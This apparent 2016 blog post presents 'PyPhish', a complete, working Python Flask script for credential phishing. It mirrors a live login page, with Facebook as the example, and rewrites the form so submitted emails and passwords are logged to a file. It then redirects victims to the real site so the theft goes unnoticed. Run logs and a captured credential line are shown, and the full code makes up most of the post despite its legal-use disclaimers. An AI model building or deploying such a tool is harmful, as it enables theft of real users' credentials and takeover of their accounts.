Dynamic Phishing with Python

Jun 25, 2016  

Phishing is always a pain in the ass these days even with the advanced toolkits that exist today. Often in phishing campaigns we have to modify ugly PHP code and shitty html, maintain web servers like Apache or Nginx to serve our phishing pages, and sometimes even have to setup a mail server, all of which leave room for mistakes in the template that could completely ruin your campaign.

So I put together this nifty little Python script.

Modules

  • Flask // this is for handling the requests to our phishing service and intercept the login information to save to our log
  • Requests // for fetching a live copy of the target site that we would like to phish

Facebook PoC

$ sudo ./pyphish.py
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
 * Restarting with stat
 * Debugger is active!
 * Debugger pin code: 124-819-954
127.0.0.1 - - [25/Jun/2016 11:26:17] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [25/Jun/2016 11:26:18] "GET /intern/common/referer_frame.php HTTP/1.1" 404 -
127.0.0.1 - - [25/Jun/2016 11:26:18] "GET /intern/common/referer_frame.php HTTP/1.1" 404 -
127.0.0.1 - - [25/Jun/2016 11:26:18] "GET /osd.xml HTTP/1.1" 404 -
127.0.0.1 - - [25/Jun/2016 11:26:26] "POST /ajax/bz HTTP/1.1" 404 -
127.0.0.1 - - [25/Jun/2016 11:26:33] "POST /cookie/consent/?pv=1&dpr=1 HTTP/1.1" 404 -
127.0.0.1 - - [25/Jun/2016 11:26:33] "POST / HTTP/1.1" 200 -
127.0.0.1 - - [25/Jun/2016 11:26:33] "GET /favicon.ico HTTP/1.1" 404 -

Now send the phishing link to your target. Once you see POST requests you should have some data:

127.0.0.1 - - [25/Jun/2016 11:26:33] “POST / HTTP/1.1” 200 -

I have the script logging the logins in /tmp/phish.log:

$ cat /tmp/phish.log

[email protected]:phishybusiness

How it works

We fetch a live copy of the target site that we are phishing and serve it to our user. Before we return the static clone of the target phishing site to our target user we replace the action= parameter in the login form to point to /, which is our phishing service:

def mirror():
    headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Referer': 'https://www.facebook.com/'}
    req = requests.get(url, headers=headers)
    # Below we are using a regex sub to rewrite the HTML to change action="" with in the login form
    data = re.sub(r'(?<=action\=\")(.*?)\"', '/"', req.text)
return data

From here we have a Flask handler for / that will intercept the POST login data and redirect them to facebook (our example phishing target). If they already had a session at the website that they thought they had to login to then the login will appear successful and won’t seem phishy 🐠

@pyphish.route('/', methods=['POST', 'GET'])
def home():
    try:
        # If the incoming request is a POST request then incercept form credentials
        if request.method == 'POST':
            # Below is where we set the POST variables from the form to intercept 
            # credentials and send them to our phish() logger function
            # send to our logging function
            phish(request.form['email'], request.form['pass'])
            # Now we will redirect them to the service they were supposed 
            # to be using
            return '<script>window.location="{}";</script>'.format(url)
        elif request.method == 'GET':
            # If the incoming request is a GET request then just display the mirror
            return mirror(), 200
    except Exception as e:
        print("There was an issue :( Here is the error:\n{}".format(e))

I do not advocate the illegal use of this example code. You are responsible for your own actions or any damage that you cause by using the code in my examples for any purpose. Facebook.com was used as an example of a real world situation in where this could work.

Full code

You can see the full code in a gist on GitHub.

#!/usr/bin/env python
'''
    Written by @dustyfresh (c) 06-11-16
    
    ABOUT:
    PyPhish is a method of phishing using Python's flask and
    requests modules instead of PHP and HTML. PyPhish will 
    grab page and display it as it would be to the user. 
    PyPhish acts as a proxy but changes the action="some file or url" 
    to redirect all POST & GET data to be logged to PyPhish. 
    Then PyPhish redirects the user where they're supposed to go.
    
    PyPhish is awesome because you don't have to maintain HTML & PHP 
    template code for your phishing campaigns.
    
    This program is free software; you may redistribute 
    and/or modify it under the terms of the GNU General 
    Public License as published by the Free Software Foundation; 
    Version 2 (or later) with the clarifications and exceptions 
    described in the license file. This guarantees your right to 
    use, modify, and redistribute this software under certain 
    conditions. If you wish to embed this technology into 
    proprietary software, we sell alternative licenses 
    (contact @dustyfresh).
    
    NOTICE: The author of this software is not responsible for 
    illegal abuse of this code. The user of this code agrees to 
    have legal consent prior to performing any sort of phishing 
    on live targets. This is for educational and in some case with 
    permission professional use only.
'''
import re
from flask import Flask, request
import requests

url = ''

def mirror():
    headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Referer': '{}'.format(url)}
    req = requests.get(url, headers=headers)
    # Below we are using a regex sub to rewrite the HTML to change action="" with in the login form
    data = re.sub(r'(?<=action\=\")(.*?)\"', '/"', req.text)
    return data

def phish(email,password):
    with open("/tmp/phish.log", "a") as log:
        log.write('{}:{}\n'.format(email,password))

pyphish = Flask(__name__)
@pyphish.route('/', methods=['POST', 'GET'])
def home():
    try:
        # If the incoming request is a POST request then incercept form credentials
        if request.method == 'POST':
            # Below is where we set the POST variables from the form to intercept 
            # credentials and send them to our phish() logger function
            # send to our logging function
            phish(request.form['email'], request.form['pass'])
            # Now we will redirect them to the service they were supposed 
            # to be using
            return '<script>window.location="{}";</script>'.format(url)
        elif request.method == 'GET':
            # If the incoming request is a GET request then just display the mirror
            return mirror(), 200
    except Exception as e:
        print("There was an issue :( Here is the error:\n{}".format(e))

if __name__ == '__main__':
    pyphish.run(host='0.0.0.0', port=80, debug=True, threaded=True)